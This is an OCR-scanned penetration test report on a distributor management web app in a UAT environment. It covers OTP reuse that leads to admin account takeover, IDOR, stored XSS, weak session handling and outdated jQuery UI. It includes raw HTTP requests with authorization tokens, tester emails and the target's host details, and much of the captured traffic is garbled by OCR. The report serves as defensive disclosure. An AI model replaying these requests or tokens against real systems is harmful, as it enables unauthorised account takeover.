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Assessment Information

Start Date: 07/21/2025
End Date: 07/25/2025
Name: India Distributor Management System

Testing Team: Cosme, Hugo - EXFIL Security </br>

Scope:

Web App

https://mobil- 172.105.61.152
uat.bizgaze.app B

Acceptance True

Tester Comments:
The web application worked as expected.
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Executive Summary

Application security testing focused on the India Distributor Management System. The web application
facilitates distributor sales tracking, market analysis and related tools. Testing was conducted from July
21th, 2025 to July 25th, 2025 in an acceptance environment. The tester was provided with an
administrator, PID and distributor roles. Testing followed best practice methodologies provided by
industry-leading security organizations including OWASP and SANS. Overall, the application revealed two
high-risk findings related to privilege escalation through the password change mechanism and the use of
HTTP Basic Authentication. There were multiple medium-risk findings. There were also several low-risk
and informational findings related to industry best practices.
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Vulnerability Scores

The Vulnerability Testing Team defines Vulnerability Score as the difficulty of a vulnerability being
exploited and the resulting technical impact to the computing environment. The scores are divided into
the following categories:

Critical: Gives attackers a foothold on our network or results in direct financial loss.

High: Provides a foothold on a system or network or exposes sensitive data.

Assists attackers in gaining a foothold on a system with minimal privileges or discloses sensitive
information.

Low: Provides information about a system or does not follow a security best practice.
Informational: Suggestions of additional technical best practices or future considerations to follow.

Additional information on Vulnerability Scores can be located here
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1. Weak Password Change Functionality | Score: High

Description:

For any application that requires the user to authenticate with a password, there must be a mechanism by
which the user reset their password at any time while authenticated on the application. This would prevent
unauthorized access to the account if there is a suspicion that the account has been compromised. More
information can be found at: https://owasp.org/www-project-web-security-testing-guide/latest/4-
Web_Application_Security Testing/04-Authentication_Testing/09-
Testing_for_Weak_Password_Change_or_Reset_Functionalities

Instance:

o WRL_____ [ HostName | ___IPAddress

https://mobil- . 172.105.61.152 -
uat.bizgaze.app o
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Details:

The One-Time Password used in the password change process is not securely tied to the user session,
allowing it to be reused to reset passwords for other accounts.

The screenshots below show the OTP being sent to the email.

Request Response

Pretty Raw Hex w n = Pretty Raw Hex

1 PBOST faccount/sendotp HTTE/1.1 1 HTTP/1l.1l 20D 0K

2 Host: mobil-uat_bizgaze.app 2 Berver: nginx/l.28.0

3 Coockie: _ideyD=; _idtyl=; chnames= 3 Date: Wed, 23 Jul 20Z5 1E:51:52 GMT

1 User-Agent: Mozilla/S5.0 (Windows NT 10.0; Winf4; x&4; rv:139.0) Gecko/Z0100101
Firefox/135.0

Accept: */%

Accept-Lancgquage: en-US en;g=0.5

Content-Type: application/json; charsec=ucf-8
Connection: keep-alive
Access—Control-Allow-Origin: *

Vary: Accept-Encoding

1 e

1 o

Accept-Encoding: gzip, deflate, br = Content-Length: 171
o Content-Type: application/json g
o Content-Length: Z50 10 |4
10 Referer: https://mobil-uat_bizgaze. app/findex html "result":Ell."zi,
11 Origin: https://mobil-uat_bizgaze.app endaengE
12 ESec-Fetch-Dest: empty "message":"OTP Sent Successfully",
13 | Sec—-Fetch-Mode: cors "servicellame":null,
¥ Sec—-Fetch-Site: same-origin "status":0,
15| Priority: u=0 "errors":mall,
1¢ Te: trailers "totalRecords":0
17 Commection: keep-alive 1
19| 1
"FirstName":"",
"Lastlame":"",
"ContactMumber":-""
"Email": "hugo. cosmefexfilsecurity. con",
"TenantName":""
"ContactJrEmail": "hugo. cosmefexfilsecuritcy. com",

"IsSignup": false,
"IsRegisterUser": false,
"IsForgotPswd" true,
"UInibaseId":"",
"OtpIld":-0,

"Usergcp":""

Reset your Password

info@bizgaze.com B & & 2|8

)

To: Hugo Cosme

You don't often get email from info@bizgaze.com. Learn why this is important

You can reset your password by using thisf@jizsPEYEMThanks for choosing HireServer _Team HireServer

N Reply 7 Forward

Reusing the same OTP allows changing the password from the administrator account (obtained through the
IDOR finding).
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Need help with your Password?

We will send new code to your recovery Email or Phone to reset your

password.
hugo.a.cosme@exxonmobil.com
= Bizgaze X -+
Ll % C O 4 o mobil-uat.bizgaze.app/index.ntml#/forgotpassword B o

Please reset your password

123456
PasswOrd#

PasswOrd#

Reset Password

The password is successfully modified and administrator access is granted.



Request

Pretty Raw Hex

Hozst: mobil-uat.bizgaze. app

3 Cookie: _ideyO=; idtyl=; cnames=
4 User-Agent: Mozillays/5.0 (Windows NT 10.0; Win£d4; x&4; rv:135.0) Gecko/IZ01l00101

Firefox/135.0
Accept: /¥

= Content-Type: application/json

5 Content-Length: 88

Sec—Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: wu=0

Te: trailers

Comnection: keep-aliwve

1 e s ) E

19| £
rPassuord":"Passtrd#",
"Ocpld" . E115,
"UserOtp":"1Z3458",
"O#ldPassword":"",
"IsBeset": false

E| Bizgaze
A

O C

Implication:

POST faccount,/updatepassword HTTP/1.1

Accept-Language: en-US,en;g=0.5%
Acecept-Encoding: gzip, deflate, br

Referer: https://mobil-uat.bizgaze.app/index _htnl
Origin: https://mokil-uat.bizgaze.app
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Response

o no = Pretty Raw Hex

HTTP/1.1 200 OK

Server: nginx/l.28.0

Date: Wed, 23 Jul IZ0IE 1l&:53:I74 CGHT
Content-Type: application/json; charset=sutf-8
Comnection: keep-alive

£ Access-Control-Allow-Originm: *

7 Vary: Accept-Encoding

Content-Length: 125

Mo Wk e

RS
"result":null,
"oode":"0",
"message": "Password Updated Successfully",
"serviceName" :null,
"status":0,
"errors":null,
"totalRecords":0

}

X |+

QO 8 o mobil-uat.bizgaze.app/index.html#/forgotpassword & o @

@ Success ! X
Password Updated Successfully

v
Password Updated Successtully

Click here to Login

An attacker with access to an active session could change the password of the logged in user. This would
allow them to then access the application within the context of that user.
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Recommendation:

Once the user has proved their identity (either through a password reset link, a recovery code, or by logging
in on the application) they should be able to change their password.

If a user has been provided with a temporary password after user account creation, the application should
require the user to change the password upon initial authentication.

While currently authenticated to the application, the password change functionality should require the old
password of the user, and a two-factor authentication mechanism.

More information can be found at:
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#change-password-
feature

Additional Tester Input:

Reference:

WSTG-ATHN-09: Testing for Weak Password Change or Reset Functionalities
Defect ID: 67354

2. HTTP Basic Authentication | Score: High
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Description:

HTTP Basic Authentication has a variety of technical and usability concerns that lend itself to an increased
likelihood of loss of confidentiality to user credentials. Web applications that deploy HTTP Basic
Authentication to authenticate and establish user browser sessions have the following issues:* Lack of
Discernibility: The Ul is not developer customizable (CSS, JavaScript, Fonts, etc.) to ensure a common look
and feel across browsers. There is no guiding standardization to the appearance of the Logon Prompt across
browser vendors and versions. There exists no browser location bar clearly indicating the domain that
originates the authentication challenge. As a result, browser vendors have failed to help clearly identify the
origin of the authentication request. This is problematic in a browser thin client application.* Lack of
Supplemental Authentication Attempt Throttling Capability: Developers cannot embed CAPTCHAs, One-
Time-Passwords, and other authentication throttling mechanisms to prevent Account Lockout Denial of
Service attacks, Credential Bruteforcing, etc.* Lack of Session Token: An established socket is the sole
evidence of authentication status. No session cookies are required for subsequent requests for resources
upon authentication. As such, is more vulnerable to impersonation attacks.* Credential Leakage: While
RFC3986 deprecates the capability due to , browsers still support HTTP Basic Authentication URLs. That is,
http://userid:password@domain.com where userid:password are the credentials used for Basic
Authentication. The likelihood of credential leakage is increased when users bookmark websites which are
stored in their "favorites" unencrypted. Also problematic is the treatment of HTTP Basic Authentication
challenges originating from cross-domain static content. For instance, applications that have embedded
images to pOwn.com could be vulnerable to credential harvesting if the domain was compromised and
HTTP Basic Authentication was enabled. User's may unwittingly provide their credentials to attackers in
such a case. Therefore, it's imperative that this susceptibility to provide credentials to dubious HTTP Basic
Authentication prompts is removed from the environment by not deploying such authentication
mechanisms for web browser sessions.

Instance:

WL | HostName | ___IPAddress

https://mobil- . 172.105.61.152 -
uat.bizgaze.app B

Details:

The application was found to be using Basic Authentication with a static UUID. This method exposes the
token throughout the application, increasing the risk of leakage and misuse.

4 Azeepei A
Aocapt-Lamiilade: wb-U8anc =08 Commgction. Rasp-allve
ind

deeepe-Rnecding: gx

5 Conkwst-Type: appls

¢ Comtert-lengoh

: Peferer: hchps E

¢ Gecposivlom: mulliaull i
Jeagin: bbbpa f/mcbil-usk hizgase. aEp

Azcenn-Coptrai-Allow-Origin: *
Vazy: iecwpe-Encoding
7| Comtent-Length: EED

3 = o
1= fduchorizatlon: Basle Z2638ad4T-dE58-d3aa-G74d-SbERcallesds ||
w: trailers

7 Commectiom keepoalive
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Implication:

HTTP Basic Authentication lacks the qualities of strong server identification and offers opportunities for
credential leakage through browser bookmarking. Applications that continue to utilize this antiquated
authentication mechanism increase the likelihood of users leaking and exposing their credentials to
attackers. If the credentials are used to access other network resources, then the organization risks are
increased beyond the system data exposure.

Recommendation:

Implement SSO authentication or login web form for user authentication. Further, when doing so,
implement best practices for secure session management, session token generation, and expiration. HTTP
Basic Authentication is deprecated for web browser user sessions, as such, the use of other security
controls such as TLS does not exempt its continued use.

Additional Tester Input:

Reference:

CWE: 312, 319
Defect ID: 67424

3. Session Management - Insufficient Server-Side Session
Termination |

Description:

It is still possible to interact with the web application and/or its API even after the user has already logged
out.

Instance:

WL | HostName | ___IPAddress

https://mobil-

. - 172.105.61.152 -
uat.bizgaze.app




Details:

PROPRIETARY

The web application fails to appropriately invalidate the user session upon logout, allowing replay of

requests after logging out.

Valid request:

Request
Pretty Raw Hex P

1 BET /apis/v4/unibase/platform/apps/getcreateapps HTTP/1.1
> Host: mobil-uat.bizgase.app
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4;
Firefox/135.0
i Aceept: /%
: Accept-Language: en-US,en;q=0.5
¢ Accept-Encoding: gzip, deflate, br

*xE4; rv:135.0) Geckao /20100101

Referer: https://mobil-uat bizgaze. app/
Contenc-Type: application/json
Geoposition: null:imull

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fevch-Site:

same-origin

Authorigation: Basic fll4badE-ca0f-4B8a8-%9a77-36calldaSeech
Te: trailers

-highlight-celor  'u0022 d=' \u0022M18.5S,78.08HZ SE, 0177
Wel-,. 98, . 79-1.97,1.77-1 77H22.98e¢.98,0,1.97, .7 1.77V15.35h~
- BE-X.C4-1.24-1_24HZ.79c-_€8,0-1.24,.56-1.24,1.24V26.31c0,.668,.56,1.24,1.24, 1

After submitting a logout request, the previous authorization token remains valid:

3479 https://mobil-uat.bizgaze.app GET /!

304 230

R Ee Eo W
53V2.77c0-.€8-

==
Response
Pretty Raw Hex e n =
1 HTTP/1.1 200 OK
2 Server: nginx/1.08.0
2 Date: Tue, 22 Jul Z025[:23519:33 GMT
: Content-Type: application/json; charset=utf-8
Commecticn: keep-alive
¢ Vary: Accept-Encoding
7 Content-Length: 274878
1
"result':
*[{\ "MyAppId)": 10E550270000314,  “AppTitle "MIUY, Y "Installedipplame MLV,
“AppColor’ ' | "green "AppTndex’ -0, "IconName’ ">\ "fa fa-files-ol", ) "AppGroupld
"o0, 0 " AppGroupNane v\ "GroupleonName' ":null,’ "UserId’.":106551360012257, "1
nstalledhppld,":0,  "ParentAppld:":0,  "GroupableStatusId:":0, "DisplayText’ ":null
.\ "DisplayIndex "BeverseText'":null,' "RBolelds!":null, "CanCreate 157
magelrl "o\t wgleconUrl' " "% \ul03Csvyg id=" ub0ZZLayer 1. u00ZZ data-name=
ul0ZZLayer 10u00I2 xmlns=""u00IZhtep://www. w3.org/2000/svy’ " ul0IZ wiewBox=''uld0
220 0 3Z 3Z\ihalo u00zE ul02Cy' "ubD02E u003Cpath clas ul0ZZkiz-svyg

Request

Pretty

GET / HITP/Ll.1

Host: mobil-uat. hizgaze. app

Cookie: _ddeyl=; _idtyl=; cnames=

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd;
Firefox/1358.0

Raw Hex

xE4;

Accept-Language: en-US,en;g=0_5
Accept-Encoding: gzip, deflate, br

5 Upgrade-Insecure-Recuests: 1

A m

5 Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-5ite: none

12 Sec-Fetch-User: 71
123 If-Modified-Since:
If-None-Match:
Priority:
Te:
Connection: keep-alive

Fri, 18 Jul Z0Z5 02:05:14
"ldbf703alaZd43a3"
u=0, i

GHT

trailers

Request

Pretty

CET /apis/v4/unibase/platforn/apps/getcreateapps HTTP/1.1
Host: mobil-uat.bizgaze.app

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4;
Firefox/139.0
Accept: /%
Accept-Language -

Raw Hex

%xE4; rv-139.0) Gecko/Z010010L

en-US, en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: hotps://mobil-uac.bizgase.app/
Content-Type: application/json

1

4 CGeoposition: null:null
10 Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors

Sec-Fetch-Site:
Authorization:
Te: trailers

same-origin
Basic f1145adf-calf-48a8-5a77-36calldaSseh

rv:139.0)

Gecko/Z010010L1

Accept: text/html, application/xhtml+txml, application/xml;q=0.9 */*;q=0.8

Response

= Pretty
HITP/Ll.Ll 204 Not Modified

Server: nginx/1.28.0

Date: Tue, IIZ Jul Z0I5 23:1?:43|GHT
Content-Type: text/html
Connection: keep-alive
Accept-Ranges: bytes

ETag: "ldb{f7c3ala’43a3"
Last-Modified: Fri, 18 Jul

Raw Hex R

[T R A

m

Z0Z5 D2:08:14 GMT

T

Response

Pretty

bW e

Raw Hex

HTTP/1.1 200 OK

Server: nginx/l.28.0

Date: Tue, 22 Jul 20257283720:
Content-Type: application/json;
Connection: keep-alive

Vary: Accept-Encoding
Content-Length: 274828

charset=ut f-8

1
"result" -
U MyRppId) " 10E550270000314,
"AppColori”: " "green
1.0, "AppErouplane

“AppTicle’ ")\ "MIV",
"AppIndex’”:0, | "IconName\":
"N, " GroupTeonfame " soull,
nstalledAppId' 0, "FarentippId: *:0," "GroupableStatusId

"Displaylndex’ ":0," "ReverseText’ " null,\"Polelds\ ":null,
mageUrlh ": 3"y ", | "SrglconUel) "\ " \u003Csvy id=} \ulDI2Layer 1
u0D2oLayer 1 u0022http: / S wi org/ 2000/ svy
podel o I e 14 u003Cg \ul03E

"Installedipplame’ "= "MI\"
fa fa-files-o\",
"UserTd ":105551360012257,
"0, "DisplayText!":
CanCreate' ":true,

oo data-name=
0022 viewBox=
u003Cpath class=

"ul0ZZ xmlns=
u00ZZ. \ub03E

AppGroupld
iy

uon
u00Izhiz-svy
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Implication:

An attacker may be able to execute privilege commands and interact with the web application or APl even
after the user has been logged out leading to privilege escalation, data manipulation or sensitive
information disclosure.

Recommendation:

We recommend expiring the Bearer token issued to the previously logged-in user once the logout process
has been initiated. This ensures that any user who might have obtained the Authorization Bearer token
cannot be reused even after logging out of the web application.

Additional Tester Input:

Reference:

N/A
Defect ID: 67340

4. Outdated Software Components |

Description:

In assessing the application, outdated software components were found to be in use.

Instance:

WL | HostName | ___IPAddress

https://mobil- _ 172.105.61.152 -
uat.bizgaze.app S
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Details:

The application uses an outdated version of JQuery Ul. This version has known security vulnerabilities that
may be leveraged in an attack against the application.

JQuery Ul -v1.12.1

Request
Pretty Raw Hex o n = Hex

1 GET fplatform/bundle/libs/login.library.js HTTP/1.1 2 }

2 Host: mohil-uat.bizgaze.app y:

2 User-Agent: Mozilla/5. 0 (Windows NT 10.0; Wing4; x64; rv:135.0) Gecko/IZ0100101 5341 }
Firefox/139.0 22 Vi

4 Aceept: *f* 5747 i

5 Accept-Language: en-US,en;q=0.5 5243 |}

¢ Accept-Encoding: gzip, deflate, br St ) oueryl

7 Referer: https://mobil-uat.bizgaze.app/
Sec-Fetch-Dest: script = JOuery Ul — wl_12.1 - Z016-09-14

Sec-Fetch-Mode: no-cors

Sl @

* http: /f/jgqueryul. com

10 Sec-Fetch-Site: came-origin * Includes: widget_js, position.js, data.js
11 | Te: trailers s/effect-hlind. js, effects/effect-hounce. js
12 Commection: lkeep-alive drop.ijs, effects/effect-explode.js, effects,
13 effects/effect-highlight_ js, effects/effect
14

ctsfeffect-scale.is. effects/effect—shake.qi:

Search Vulnerabilities By CPE

Q  cpe:2.3:ajqueryui{{sI g MR RPR ki wlw %

I8 Copy
CVE-2022-31160 4 Potential exploit Max CVSS 61
jQuery Ul is a curated set of user interface interactions, effects, widgets, and themes built on top of jQuery. Versions prior EPSS Score
to 1.13.2 are potentially vulnerable to cross-site scripting. Initializing a checkboxradio widget on an input enclosed within a Published 2022-07-20
label makes that parent label contents considered as the input label. Calling ".checkboxradio( "refresh” )’ on such a widget Updated 2023-02-10
and the initial HTML contained encoded HTML entities will make them erroneously get decoded. This can lead to
paotentially executing JavaScript code. The bug has been patched in jQuery Ul 113.2. To remediate the issue, someone
Source: GitHub, Inc.
CVE-2021-41184 # Potential exploit Max CVSS 65
jQuery-Ul is the official jQuery user interface library. Prior to version 1.13.0, accepting the value of the ‘of’ option of the EPSS Score
"position()” util from untrusted sources may execute untrusted code. The issue is fixed in jQuery Ul 113.0. Any string value  puplished 2021-10-26
passed to the "of option is now treated as a CSS selector. A workaround is to not accept the value of the "of option from Updated 2023-08-31
untrusted sources.
Source: GitHub, Inc.
CVE-2021-41183 § Patential exploit Max CVSS 8.5
jQuery-Ul is the official jQuery user interface library. Prior to version 1.13.0, accepting the value of various “*Text’ options EPSS Score -
of the Datepicker widget from untrusted sources may execute untrusted code. The issue is fixed in jQuery U1 113.0. The Published 2021-10-26
values passed to various '*Text’ options are now always treated as pure text, not HTML. A workaround is to not accept the Updated 2023-08-31

value of the "*Text options from untrusted sources.
Source: GitHub, Inc.

CVE-2021-41182 4% Potential exploit Max CVSS

jQuery-Ul is the official jQuery user interface library. Prior to version 113.0, accepting the value of the "altField” option of EPSS Score

the Datepicker widget from untrusted sources may execute untrusted code. The issue is fixed in jQuery Ul 1.13.0. Any Published 2021-10-26
string value passed to the “altField’ option is now treated as a CSS selector. A workaround is to not accept the value of the Updated 2023-08-31

‘altField” option from untrusted sources.
Source: GitHub, Inc.



PROPRIETARY
Implication:
Operating insecure and outdated versions of software components leave the affected host vulnerable to
attacks to a potential threat using new vulnerabilities. Successful exploitation of some of these

vulnerabilities would lead to a compromise of the system, applications, the data that is collected, and the
administrative accounts that control it.

Recommendation:

Ensure missing security updates are installed on these hosts immediately. Update any older software
components in use to the most recent available version to limit any security exposures. If the product has
reached end of life or has been discontinued, consider migrating to an alternative technology that is
supported.

Additional Tester Input:

5. Session Management - Session Token in URL |

Description:

It was discovered that session tokens, which are used to maintain state, are included within the URL of each
request

Instance:

____WRL_____ [ HostName | ___IPAddress

https://mobil- ] 172.105.61.152 -
uat.bizgaze.app o
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Details:

The authorization token is passed in the URL of the following endpoint. URLs are at risk of being disclosed
as they can be stored in browser history, server logs, proxy devices, etc.

i R T R T T i T

[
B s w0 = Pretty Fan

pasGET MITRAL L

For instance, the token was captured due to improper cache configuration.

(B | WITEST P Lig ¥ Network Cache Storage lnformation % i
0O c & Firefox  about:cache?storage=disk Ll B & @ A
1259 bytes B ynes a 2025-87-23 23120128 - 20E5-87-23 33:18178
o et Ered 2P Bytas 8 byroc a 2835-87-23 23:28:15 IBIE-BT-I3 P3:33:15
a f Bl
Ofpartitionkey=EiBhetpaXIChirgare appkld,
saricasatting
741 bytes B bytes L] 2025-87-23 23:27:56 20D25-87-23 23:27:50
aymantnodeaus canale
124% bytes B bytes @ 2805-97-23 X3:27:48 20R5-07-13 23:07:48

Implication:

Sensitive information within URLs may be logged in various locations, including the user's browser, the web
server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed
on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer
header when any off-site links are followed. Placing session tokens into the URL increases the risk that they

will be captured by an attacker.

Recommendation:

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies
for browsers or headers for thick clients. When using cookies for session tokens ensure the cookies are
protected with the HttpOnly flag to prevent JavaScript access to the cookie. If the entire browser session
occurs over TLS the Secure cookie flag prevents leakage of the sensitive cookie.

https://www.owasp.org/index.php/Session_Management_Cheat_Sheet
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Additional Tester Input:

Reference:

CWE: 384
Defect ID: 67347

6. Cross-Site Scripting (Stored) |

Description:

Cross-Site Scripting (XSS) attacks occur when data enters a Web application through an untrusted source,
most frequently a web request, and that data is included in dynamic content that is sent to a web user
without being validated for malicious code.

Stored Cross-Site Scripting occurs when the malicious payload is stored and retained on the application

server (generally a database) and retrieved and delivered to subsequent users who visit the affected page.
As a result, Stored XSS are often used as worms to propagate between different users.

Instance:

WL [ HostName | ___IPAddress

https://mobil- . 172.105.61.152 -
uat.bizgaze.app . -
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Details:

The web application is vulnerable to Stored Cross-Site Scripting due to the lack of input sanitization
throughout the application. This can be misused in order to add malicious javascript that is triggered when
the resources are opened by users.

For instance, the comments field is used to insert the javascript code. This is possible with all tested roles.

&

0O «

MTEST Put Lid % o

B ¥ 2 & @ 08 Fm 2

,1
Q
]
E
]

MTEST Pyt Ltd J0472025 - 31M03/2026 mr) A = @

RED DRAGON HOSPITALITY PRIVATE LIMITED & D5R
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Implication:

When exploited, XSS vulnerabilities have led to the harvesting of Personally Identifiable Information (Pll)
including user credentials, data exfiltration, Distributed Denial of Service attacks, bypassing some anti-CSRF
measures, network probe of private internet address space, and malware distribution through exploitation
of browser and browser plugin vulnerabilities. The browser itself can be further compromised, falling under
complete control of the attacker. Several ready-made exploit frameworks, such as BeEF or XSSF exist for this
purpose, allowing the attacker to abuse the browser in a number of ways including delivering browser-
specific exploits, logging keystrokes, viewing browser history, or using the browser as a proxy to attack
systems inside the corporate firewall.

An unknowing user can have their data compromised from a vulnerable site by merely browsing an
attacker's web site that embeds the vulnerable site in a hidden iframe, or by clicking a malicious hyperlink
such as from an email.

Recommendation:

Recommendations include implementing secure programming techniques that ensure proper filtration of
user-supplied data, and encoding all user supplied data to prevent inserted scripts being sent to end users
in a format that can be executed. Cross-Site Scripting attacks can be avoided by carefully validating all input
and properly encoding all output. When validating user input, verify that it matches the strictest definition
of valid input possible. For example, if a certain parameter is supposed to be a number, attempt to convert
it to a numeric data type in your programming language. For validating string patterns uses Regexes to
validate the string pattern match and enforce whitelist rules.

In some instances, the application must allow the user to supply free-form data using a large range of
printable characters. In such cases, ensure that control characters are properly encoded to neutralize the
potential for script injection. The HTML Document contains three contexts that provide an opportunity for
script execution, that is, CSS, Script, and HTML Body. Each context has its own set of associated control
characters, that when encountered, force the browser into JavaScript tokenization and execution. Consider
which context the user's input will be echoed back in the response and encode the output for that context.

For a complete reference refer to:
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

OWASP ESAPI Java Encoder Framework:
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

Additional Tester Input:

Reference:

CWE: 79, 80, 82, 83, 87, 116, 692, 811
Defect ID: 67348



PROPRIETARY

7. Session Management - Insufficient Session Expiration |

Description:

Insufficient Session Expiration occurs when a Web application permits an attacker to reuse old session
credentials or session IDs for authorization. Insufficient Session Expiration increases a Web site's exposure

to attacks that steal or reuse user's session identifiers.

Instance:

WL | HostName | ___IPAddress

https://mobil-
uat.bizgaze.app

- 172.105.61.152 -

Details:

The session token did not expire after more than one day. This increases the window of opportunity for an

attacker to gain access to the token and the session.

Request
Pretty

1 GET faccount/session/validate HTTP/1.1
o Host: mobil-uat_bizgaze.app
3 User-Agent: Mozilla/5.0 (Windows NT 10.0;
4 Accept: */*%

5 Accept-Language:
6

5

Raw Hex w \n

WinE4; x64; rv:139.0) Gecko/Z0100101 Firefox/139.0
en-US, en;gq=0.5
deflate, br
https://mobil-uat _bizgaze. app/
= Content-Type: application/json
5 Geoposition: null:null
0 Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors

= Accept-Encoding: gzip,
7 Referer:

2 Sec-Fetch-Site:

1
% same-origin

3 Authorization: Basic 2f£585a47-4659-43aa-8744-9bBBcafleddl
14 Te: trailers

Reguest
Pretty

GET faccount/session/walidate HTTP/1_ 1
Host: mobil-uat_ bizgaze.app

User-Agent: Mozilla/5.0 (Windows NT 10.0;
Appapt: */%

Accept-Language: en-US, en;g=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://mobil-uat. bizgaze. app/
Content-Type: application/json
Geoposition: null:null

10 Sec-Fetch-Dest: empty

11 Sec-Fetch-Mode: cors

1z Sec-Fetch-5ite: same-origin

12 Authorization: Basic Zf585a47-4559-433a-8744-9h88caflesdl
14 Te: trailers

I5 | Rommestinn; aeepoalive

1e

17

Raw Hex w n

Wing4; x£4; rvw:139.0) Gecko/Z0100101 Firefox/135.

o

[0 0D

W e tn

Response

= Pretty
1 HITP/1.1 200 OK
2 Server: nginxsl.Z28.0
3 Date: Thu, 24 Jul Z025 17:01:05 GMT
4 Content-Type: application/json; charset=utf-8
&
g

Raw Hex Render

z Connection: keep-aliwve
- Vary: Accept-Encoding
7 Content-Length: 4

5 true

Response

= Pretty
1| HTTP/1.1 Z00 0K
2 Serwer: nginx/l.Z28.0
2 Date: Fri, 25 Jul 2025 17:04:14 GMT
4 Content-Type: application/ison; charset=utf-g
c

Raw Hex Render

Connection: keep-aliwve
Vary: Accept-Encoding
Content-Length: 4

5 | true
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Implication:

Session expiration is comprised of two timeout types: inactivity and absolute. An absolute timeout is
defined by the total amount of time a session can be valid without re-authentication and an inactivity
timeout is the amount of idle time allowed before the session is invalidated. The lack of proper session
expiration may increase the likelihood of success of certain attacks. A long expiration time increases an
attacker's chance of successfully guessing a valid session ID. The longer the expiration time, the more
concurrent open sessions will exist at any given time. The larger the pool of sessions, the more likely it will
be for an attacker to guess one at random. Although a short session inactivity timeout does not help if a
token is immediately used, the short timeout helps to ensure that the token is harder to capture while it is
still valid.

Recommendation:

The web application should invalidate a session after a predefined idle time has passed (a timeout).

Additional Tester Input:

Reference:

CWE: 613
Defect ID: 67351

8. Insecure Direct Object Reference |

Description:

IDOR occurs when exposes a reference to an internal implementation object to a user-supplied input
without sufficient validation and direct access to the object requested is provided.

Instance:

WL | HostName | ___IPAddress

https://mobil- ) 172.105.61.152 -
uat.bizgaze.app S




Details:

PROPRIETARY

The web application allows user identifiers to be modified in requests without proper access control. This
may expose sensitive data from other users, including privileged accounts.

The distributor’s authorization token and user ID are shown below.

Request

Pretty

POST /Account/Validateindlogin HTTE/1.1
Host: mobil-uat.bizgase.app

Raw Hex

Cookie: _ideyD=; _idtyl=; _cnames=

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4;
Firefox/135.0

Accept: */*

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflats,
Content-Type: application/json

rv:139.0)

br

Content-Length: 54

10 Referer: https://mobil-uat.bizgaze. app/
11 Origin: https://mobhil-uat. bizgaze. app
1z Sec—-Fetch-Dest: empty

3 Sec-Fetch-Mode: cors

Sec-Fetch-Site:
Priority:
Te: trailers

7 Commection: keep-alive

same-origin
u=0

15| 4
"UserName hacosmev@exxommobil. com",
"Password Password",
"UnibaseTd"-""
"RememberMe": false
+

2B w

Gecko/20100101

For instance, the following endpoint is accessed using the previous IDs, providing access to the distributor

information.

Request

Pretty

| POST /apis/wi/unibase/platform/widgets/getdefaultwidget HITP/L.1
- Host: mobil-uat bizgaze.app

: User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:139.0)
Firefox/139.0

Accept: /¥

Accept-Language: sn-US, en;q=0_5

Aecept-Encoding: geip, deflate, br

Content-Type: application/json

Contenc-Length: 107

5 Referer: https://mobil-uat.bizgaze.app/

Geoposition: null:null

Raw Hex

Gecko/20100101

Origin: https://mobil-uat.bizgaze. app

- Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same—origin

Authorization: Basic 33507ef0-7dB1-45fe-h106-46151676£0c4
Te:

trailers

"InstalledAppId":105020270000041,
"RecordId":1065513600116E5,
"FromDate Z025/03/32L1",

"ToDate" /03730"

Q==
Response
= Pretty Raw Hex =
1 HTTP/l.l Z00 OK
- Server: nginx/l.28.0
3z Date: Wed, 23 Jul ZDI5 ZD:Z4:35 GMT
4 Content-Type: applicacion/json; charsec=ucf-8
= Connection: keep-alive
£ Access-Control-Allow-Origin: *
7 Vary: Accept-Encoding
= Content-Length: 3287
10 |4
"status": 1,
"sessions":null,
‘eurrentSession": {
"name": "DSR",
"userId":106551360011665,
"tenantId": 503,
*parentUserId" 0,
"languageId
"dateFormat
"timeZone":0,
o,
'1744198fd7£74f3ab487251db4al0e33",
"3B527ef0-TdB1-45fe-h10E-4E191ETEETed"
"ighdmin": false,
"latd":null,
"1gId":null,
"secDataEnabled": false,
"iphddress":null,
"deviceId":105030230000003,
"isRestrictedUser": false,
*photolUrl":null,
"appUrl®:nall,
"partitcionId":0,
"partitionFromDate":"0001-01-01TO0:00:00",
B S AT AT Ak - HAART SR S TTAR- AR A
O=»=
Response
n = Pretty Raw Hex Rende noo=
1 HITF/l.1 Z00 0K
- Server: nginx/l 260
3 Date: Wed, 22 Jul 2025 Z0:34:47 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
Access-Control-Allow-Origin: *
7 Vary: Accept-Encaoding
Content-Length: 14587
{
"result!:
“{"TemplateText "% u003Cdiv class=""u00Z7app_defaultwidget’ .ul0Z7" u002E" u003
Cdiv elass='"ull d-flex align-items-center. ' ul0IZ ' ub03E. ul03Cdiv class=""ub0IZZa
vatar biz-detail-avatar’'ul0ZZ data-sre=\ u0022{ (photourl}}:  ud WO0ZE" \a003C/d
1w ub03E ) \u003Cdiv, \ul03E" \ubl03Chs class=\ ul02hiz-header-main-text' w0022 id=
w0022 Colunnl ' U002\ u003E{ {employsename} } | \u003C/h5" \u003E" ul03Cp class='1ud027h
iz-header-sub-text’ ' ul0Z2 id=""ul ColumnZ 'u0022" \ub03E({designationname]}}" "'ud03
C/p"\ uD03E" " ub03C/div’ "ud03E" "u003C/div’ \ub03E" "ud03C/div, "ud03E" ", "JIs\ "z "\ " W "1
sOwner’":true, "IsManager'": false, "Data.":\"[{ ' u00ZZcreatedby’ w00ZZ:10502136000
